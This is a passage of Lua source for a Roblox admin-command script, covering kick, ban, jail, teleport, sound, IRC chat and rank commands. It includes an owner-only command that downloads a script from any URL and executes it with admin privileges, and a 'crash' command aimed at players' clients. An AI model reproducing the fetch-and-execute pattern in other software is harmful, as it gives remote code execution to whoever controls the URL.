5732
5733 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5734 local Players = STRING:Scan(Arguments[1], Speaker)
5735 for _,Player in pairs(Players) do
5736 local _,RankNum = RANK:GetRank(Player)
5737 if RankNum < RANK:ConvertRank(Rank) then
5738 Server.TS:Teleport(155307015, Player)
5739 end
5740 end
5741 end};
5742
5743 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5744 local Players = STRING:Scan(Arguments[1], Speaker)
5745 for _,Player in pairs(Players) do
5746 local _,RankNum = RANK:GetRank(Player)
5747 if RankNum < RANK:ConvertRank(Rank) then
5748 Server.TS:Teleport(347911447, Player)
5749 end
5750 end
5751 end};
5752
5753 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5754 local Players = STRING:Scan(Arguments[1], Speaker)
5755 for _,Player in pairs(Players) do
5756 CORE:GenerateShield(Player)
5757 end
5758 end};
5759
5760 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5761 local Players = STRING:Scan(Arguments[1], Speaker)
5762 for _,Player in pairs(Players) do
5763 if Player.Character then
5764 local Shield = Player.Character:FindFirstChild("Shield")
5765 if Shield then Shield:Destroy() end
5766 end
5767 end
5768 end};
5769
5770 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5771 local Num = tonumber(Arguments[1])
5772 if Num and Num ~= 0 then
5773 local Random = math.random(1,math.abs(Num))
5774 if Random == math.random(1,math.abs(Num)) then
5775 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5776 else
5777 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5778 end
5779 else
5780 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5781 end
5782 end};
5783
5784 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5785 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5786 IRC:AddChat(Speaker.Name, Arguments[1])
5787 end};
5788
5789 --[[
5790 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5791 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5792 if Res then
5793 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5794 end
5795 end, Http = true};
5796
5797 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5798 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5799 if Res then
5800 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5801 end
5802 end}, Http = true;
5803 ]]
5804
5805 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5806 IRC:Quit("Reconnecting")
5807 IRC:ConnectToServer(Settings.IRCServer)
5808 end};
5809
5810 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5811 local Players = STRING:Scan(Arguments[1], Speaker)
5812 for _,Player in pairs(Players) do
5813 local PreAdd = {}
5814 for _,Data in pairs(IRC.Chats) do
5815 local Error = nil
5816 if Rank == "Owner" then Error = Data[3] end
5817 table.insert(PreAdd, {Data[1], Data[2], Error})
5818 end
5819 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5820 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5821 if Rank ~= "Owner" then Error = nil end
5822 AddMessage:Invoke(UserName, Message, Error)
5823 end)
5824 SendPressed.Event:connect(function(Text)
5825 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5826 IRC:AddChat(Player.Name, Text)
5827 end)
5828 end
5829 end};
5830
5831 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5832 local Players = STRING:Scan(Arguments[1], Speaker)
5833 for _,Player in pairs(Players) do
5834 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5835 if Type == "Leave" then
5836 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5837 elseif Type == "Join" then
5838 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5839 end
5840 end)
5841 PriChat.Chatted.Event:connect(function(UserName, Message)
5842 AddMessage:Invoke(UserName, Message)
5843 end)
5844 SendPressed.Event:connect(function(Text)
5845 PriChat.Chatted:Fire(Player.Name, Text)
5846 table.insert(PriChat.Chats, {Player.Name, Text})
5847 end)
5848 end
5849 end};
5850
5851 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5852 ExecuteSafe(Arguments[1], Speaker)
5853 end};
5854
5855 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5856 local Script = REMOTE:GetURL(Arguments[1], Player)
5857 if Script then
5858 ExecuteSafe(Script, Speaker)
5859 end
5860 end, Http = true};
5861
5862 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5863 local Time = tick()
5864 local Res = REMOTE:GetURL(Arguments[1], Player)
5865 if Res then
5866 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5867 end
5868 end, Http = true};
5869
5870 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5871 CORE:RemoveAdmin(Speaker)
5872 end};
5873
5874 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5875 for _,Player in pairs(Server.Players:GetPlayers()) do
5876 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5877 end
5878 end};
5879
5880 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5881 local Players = STRING:Scan(Arguments[1], Speaker)
5882 local Debt = nil
5883 for _,Player in pairs(Players) do
5884 if not Debt then
5885 Debt = GUI:ShowDebtStats(Player)
5886 else
5887 GUI:ShowDebtStats(Player, Debt)
5888 end
5889 end
5890 end, Http = true};
5891
5892 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5893 local Players = STRING:Scan(Arguments[1], Speaker)
5894 for _,Player in pairs(Players) do
5895 GUI:CreateHUD(Player)
5896 end
5897 end};
5898
5899 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5900 local Players = STRING:Scan(Arguments[1], Speaker)
5901 for _,Player in pairs(Players) do
5902 if Player:FindFirstChild("PlayerGui") then
5903 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5904 if HUD then HUD:Destroy() end
5905 end
5906 end
5907 end};
5908
5909 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5910 local Players = STRING:Scan(Arguments[1], Speaker)
5911 GUI:Vote(Speaker, Players, Arguments[2], 30)
5912 end};
5913
5914 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5915 local Players = STRING:Scan(Arguments[1], Speaker)
5916 for _,Player in pairs(Players) do
5917 CORE:ExecuteResource("Bomb", Player.Character)
5918 end
5919 end};
5920
5921 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5922 local Players = STRING:Scan(Arguments[1], Speaker)
5923 for _,Player in pairs(Players) do
5924 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5925 CORE:RestoreCamera(Player)
5926 end
5927 end};
5928
5929 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5930 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5931 CORE:RestoreCamera(Speaker)
5932 end};
5933
5934 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5935 local Players1 = STRING:Scan(Arguments[1], Speaker)
5936 local Players2 = STRING:Scan(Arguments[2], Speaker)
5937 for _,Player1 in pairs(Players1) do
5938 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5939 for _,Player2 in pairs(Players2) do
5940 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5941 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5942 end
5943 end
5944 end
5945 end
5946 end};
5947
5948 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5949 local Players = STRING:Scan(Arguments[1], Speaker)
5950 for _,Player in pairs(Players) do
5951 Player:LoadCharacter()
5952 end
5953 end};
5954
5955 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5956 local Players = STRING:Scan(Arguments[1], Speaker)
5957 for _,Player in pairs(Players) do
5958 CORE:RestoreCamera(Player)
5959 end
5960 end};
5961
5962 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5963 local Players = STRING:Scan(Arguments[1], Speaker)
5964 for _,Player in pairs(Players) do
5965 CORE:Jail(Player)
5966 end
5967 end};
5968
5969 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5970 local Players = STRING:Scan(Arguments[1], Speaker)
5971 for _,Player in pairs(Players) do
5972 CORE:UnJail(Player)
5973 end
5974 end};
5975
5976 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5977 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5978 end};
5979
5980 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5981 SOUND:StopSpeaking()
5982 end};
5983
5984 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5985 local Players = STRING:Scan(Arguments[1], Speaker)
5986 local Compile = {}
5987 for Num,Player in pairs(Players) do
5988 local PlayerRank = RANK:GetRank(Player)
5989 local PlayerInfo = ClientInfo[Player.Name]
5990 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5991 table.insert(Compile, "User ID: "..Player.UserId)
5992 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5993 table.insert(Compile, "Rank: "..PlayerRank)
5994
5995 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5996 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5997 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5998 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5999 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
6000 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
6001 if PlayerInfo.Benchmark then
6002 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
6003 end
6004 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
6005 end
6006 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
6007 end};
6008
6009 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
6010 if tonumber(Arguments[2]) then
6011 local Players = STRING:Scan(Arguments[1], Speaker)
6012 for _,Player in pairs(Players) do
6013 coroutine.wrap(function()
6014 if Player.Character then
6015 table.insert(LoopKills, Player.Name)
6016 local Loop = nil
6017 local PrevChar = nil
6018
6019 for i = 1,tonumber(Arguments[2]) do
6020 local Char = Player.Character
6021 if PrevChar and PrevChar ~= Char then
6022 PrevChar:Destroy()
6023 end
6024 PrevChar = Char
6025 local CanDie = true
6026 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
6027 if CanDie == false then
6028 break
6029 end
6030 ypcall(function() Char.Parent = Server.Lighting end)
6031 wait(0.1)
6032 ypcall(function() Char.Parent = Server.Workspace end)
6033 wait(0.1)
6034 end
6035 end
6036 end)()
6037 end
6038 else
6039 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
6040 end
6041 end};
6042
6043 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6044 local Players = STRING:Scan(Arguments[1], Speaker)
6045 for _,Player in pairs(Players) do
6046 for Num,Name in pairs(LoopKills) do
6047 if Player.Name == Name then
6048 table.remove(LoopKills, Num)
6049 end
6050 end
6051 end
6052 end};
6053
6054 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
6055 SOUND:PlayGlobalSound(Arguments[1])
6056 end};
6057
6058 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
6059 SOUND:StopGlobalSound()
6060 SOUND:ClearInfo()
6061 end};
6062
6063 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
6064 local Pitch = tonumber(Arguments[1])
6065 if not Pitch then Pitch = 1 end
6066 if Sound then
6067 Sound.Pitch = Pitch
6068 end
6069 end};
6070
6071 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
6072 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
6073 local Items = MARKET:SearchItem(9, Arguments[1])
6074 if Items then
6075 if #Items ~= 0 then
6076 local List,Correlate = {},{}
6077 for Num,Info in pairs(Items) do
6078 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
6079 table.insert(List, Display)
6080 Correlate[Display] = Info.AssetId
6081 end
6082 CloseGui:Invoke()
6083
6084 local CanClick = true
6085 if Rank == "Member" then CanClick = false end
6086 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6087 Clicked.Event:connect(function(ClickName)
6088 local OldSoundId = nil
6089 SOUND:StopGlobalSound()
6090 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6091 SOUND:PlayGlobalSound(Correlate[ClickName])
6092 end
6093 end)
6094 else
6095 CloseGui:Invoke()
6096 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6097 end
6098 else
6099 CloseGui:Invoke()
6100 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6101 end
6102 end, Http = true};
6103
6104 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6105 local Players = STRING:Scan(Arguments[1], Speaker)
6106 for _,Player in pairs(Players) do
6107 if Player.Character then
6108 CORE:ExecuteResource("Gun", Player.Character)
6109 end
6110 end
6111 end};
6112
6113 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6114 local Players = STRING:Scan(Arguments[1], Speaker)
6115 for _,Player in pairs(Players) do
6116 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6117 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6118 Player.Character.Humanoid.WalkSpeed = 0
6119 Player.Character.Torso.Anchored = true
6120 coroutine.wrap(function()
6121 local OldCFrame = Player.Character.Torso.CFrame
6122 for i = 0,8,0.1 do
6123 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6124 wait()
6125 end
6126 Player.Character.Torso.Anchored = false
6127 Player.Character:BreakJoints()
6128 CORE:InvisiblePlayer(Player)
6129 end)()
6130 end
6131 end
6132 end};
6133
6134 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6135 local Players = STRING:Scan(Arguments[1], Speaker)
6136 for _,Player in pairs(Players) do
6137 CORE:AnchorPlayer(Player)
6138 end
6139 end};
6140
6141 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6142 local Players = STRING:Scan(Arguments[1], Speaker)
6143 for _,Player in pairs(Players) do
6144 CORE:UnanchorPlayer(Player)
6145 end
6146 end};
6147
6148 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6149 local Players = STRING:Scan(Arguments[1], Speaker)
6150 for _,Player in pairs(Players) do
6151 CORE:InvisiblePlayer(Player)
6152 end
6153 end};
6154
6155 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6156 local Players = STRING:Scan(Arguments[1], Speaker)
6157 for _,Player in pairs(Players) do
6158 CORE:VisiblePlayer(Player)
6159 end
6160 end};
6161
6162 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6163 local Players = STRING:Scan(Arguments[1], Speaker)
6164 for _,Player in pairs(Players) do
6165 if Player.Character and Player.Character:FindFirstChild("Torso") then
6166 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6167 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6168 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6169 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6170 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6171 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6172 Fly:Play()
6173 local Touched = false
6174 coroutine.wrap(function()
6175 repeat wait(0.1)
6176 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6177 until not Ast or Ast.Parent == nil or Touched == true
6178 end)()
6179 Ast.Touched:connect(function(Part)
6180 if Touched == false then
6181 Touched = true
6182 Part:BreakJoints()
6183 local Boom = Instance.new("Explosion", Workspace)
6184 Boom.Position = Ast.Position
6185 Boom.BlastPressure = 1000000
6186 Boom.BlastRadius = 30
6187 Fire.Heat = 0
6188 Smoke.RiseVelocity = 0
6189 Fly:Stop()
6190 BoomSound:Play()
6191 coroutine.wrap(function()
6192 wait(3)
6193 BoomSound:Stop()
6194 if Ast and Ast.Parent ~= nil then
6195 Ast:Destroy()
6196 end
6197 end)()
6198 end
6199 end)
6200 end
6201 end
6202 end};
6203
6204 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6205 local Success = {}
6206 local Players = STRING:Scan(Arguments[1], Speaker)
6207 for _,Player in pairs(Players) do
6208 local PlayerRank = RANK:GetRank(Player)
6209 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6210 CORE:Kick(Player)
6211 table.insert(Success, Player)
6212 end
6213 end
6214 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6215 end};
6216
6217 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6218 local Success = {}
6219 local Players = STRING:Scan(Arguments[1], Speaker)
6220 for _,Player in pairs(Players) do
6221 local PlayerRank = RANK:GetRank(Player)
6222 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6223 RANK:RemoveRank(Player)
6224 table.insert(Settings.Ranks.Banned, Player.Name)
6225 CORE:Kick(Player)
6226 table.insert(Success, Player)
6227 end
6228 end
6229 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6230 end};
6231
6232 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6233 local Success = {}
6234 local Players = STRING:Scan(Arguments[1], Speaker)
6235 for _,Player in pairs(Players) do
6236 local PlayerRank = RANK:GetRank(Player)
6237 if PlayerRank ~= "Owner" then
6238 RANK:RemoveRank(Player)
6239 table.insert(Settings.Ranks.Crashed, Player.Name)
6240 CORE:Crash(Player)
6241 table.insert(Success, Player)
6242 end
6243 end
6244 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6245 end};
6246
6247 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6248 local Success = {}
6249 local Players = STRING:Scan(Arguments[1], Speaker)
6250 for _,Player in pairs(Players) do
6251 local PlayerRank = RANK:GetRank(Player)
6252 if PlayerRank ~= "Owner" then
6253 RANK:RemoveRank(Player)
6254 table.insert(Settings.Ranks.Muted, Player.Name)
6255 GUI:CoreGui(Player, "Chat", false)
6256 table.insert(Success, Player)
6257 end
6258 end
6259 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6260 end};
6261
6262 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6263 local Players = STRING:Scan(Arguments[1], Speaker)
6264 if #Players > 0 then
6265 local Success = {}
6266 for _,Player in pairs(Players) do
6267 local RankName,RankNum = RANK:GetRank(Player)
6268 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6269 if not RANK:IsSupremeOwner(Player) then
6270 if RankName == "Muted" then
6271 GUI:CoreGui(Player, "Chat", true)
6272 end
6273 if RankNum > 0 then
6274 GUI:TellNotAdmin(Player)
6275 end
6276 RANK:RemoveRank(Player)
6277 table.insert(Success, Player)
6278 end
6279 end
6280 end
6281 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6282 else
6283 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6284 if Player then
6285 local RankNum = RANK:ConvertRank(PlayerRank)
6286 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6287 if not RANK:IsSupremeOwner(Player) then
6288 RANK:RemoveRank(Player)
6289 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6290 end
6291 end
6292 end
6293 end
6294 end};
6295
6296 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6297 local Players = STRING:Scan(Arguments[1], Speaker)
6298 if #Players > 0 then
6299 local Success = {}
6300 for _,Player in pairs(Players) do
6301 local PlayerRank,RankNum = RANK:GetRank(Player)
6302 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6303 RANK:RemoveRank(Player)
6304 table.insert(Settings.Ranks.Member, Player.Name)
6305 GUI:TellAdmin(Player)
6306 table.insert(Success, Player)
6307 end
6308 end
6309 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6310 else
6311 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6312 if Player then
6313 local RankNum = RANK:ConvertRank(PlayerRank)
6314 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6315 if not RANK:IsSupremeOwner(Player) then
6316 RANK:RemoveRank(Player)
6317 table.insert(Settings.Ranks.Member, Player)
6318 end
6319 end
6320 else
6321 RANK:RemoveRank(Arguments[1])
6322 table.insert(Settings.Ranks.Member, Arguments[1])
6323 end
6324 end
6325 end};
6326
6327 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6328 local Players = STRING:Scan(Arguments[1], Speaker)
6329 if #Players > 0 then
6330 local Success = {}
6331 for _,Player in pairs(Players) do
6332 local PlayerRank,RankNum = RANK:GetRank(Player)
6333 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6334 RANK:RemoveRank(Player)
6335 table.insert(Settings.Ranks.Admin, Player.Name)
6336 GUI:TellAdmin(Player)
6337 table.insert(Success, Player)
6338 end
6339 end
6340 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6341 else
6342 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6343 if Player then
6344 local RankNum = RANK:ConvertRank(PlayerRank)
6345 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6346 if not RANK:IsSupremeOwner(Player) then
6347 RANK:RemoveRank(Player)
6348 table.insert(Settings.Ranks.Admin, Player)
6349 end
6350 end
6351 else
6352 RANK:RemoveRank(Arguments[1])
6353 table.insert(Settings.Ranks.Admin, Arguments[1])
6354 end
6355 end
6356 end};
6357
6358 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6359 local Players = STRING:Scan(Arguments[1], Speaker)
6360 if RANK:IsSupremeOwner(Speaker) then
6361 if #Players > 0 then
6362 local Success = {}
6363 for _,Player in pairs(Players) do
6364 if not RANK:IsSupremeOwner(Player) then
6365 RANK:RemoveRank(Player)
6366 table.insert(Settings.Ranks.Owner, Player.Name)
6367 GUI:TellAdmin(Player)
6368 table.insert(Success, Player)
6369 end
6370 end
6371 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6372 else
6373 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6374 if Player then
6375 local RankNum = RANK:ConvertRank(PlayerRank)
6376 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6377 if not RANK:IsSupremeOwner(Player) then
6378 RANK:RemoveRank(Player)
6379 table.insert(Settings.Ranks.Owner, Player)
6380 end
6381 end
6382 else
6383 RANK:RemoveRank(Arguments[1])
6384 table.insert(Settings.Ranks.Owner, Arguments[1])
6385 end
6386 end
6387 end
6388 end};
6389
6390 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6391 local TableStorage = {}
6392 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6393 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6394 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6395 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6396 end};
6397
6398 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6399 local TableStorage = {}
6400 for _,Player in pairs(Server.Players:GetChildren()) do
6401 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6402 if ValidAdmin then
6403 if PlayerRank == "Owner" then
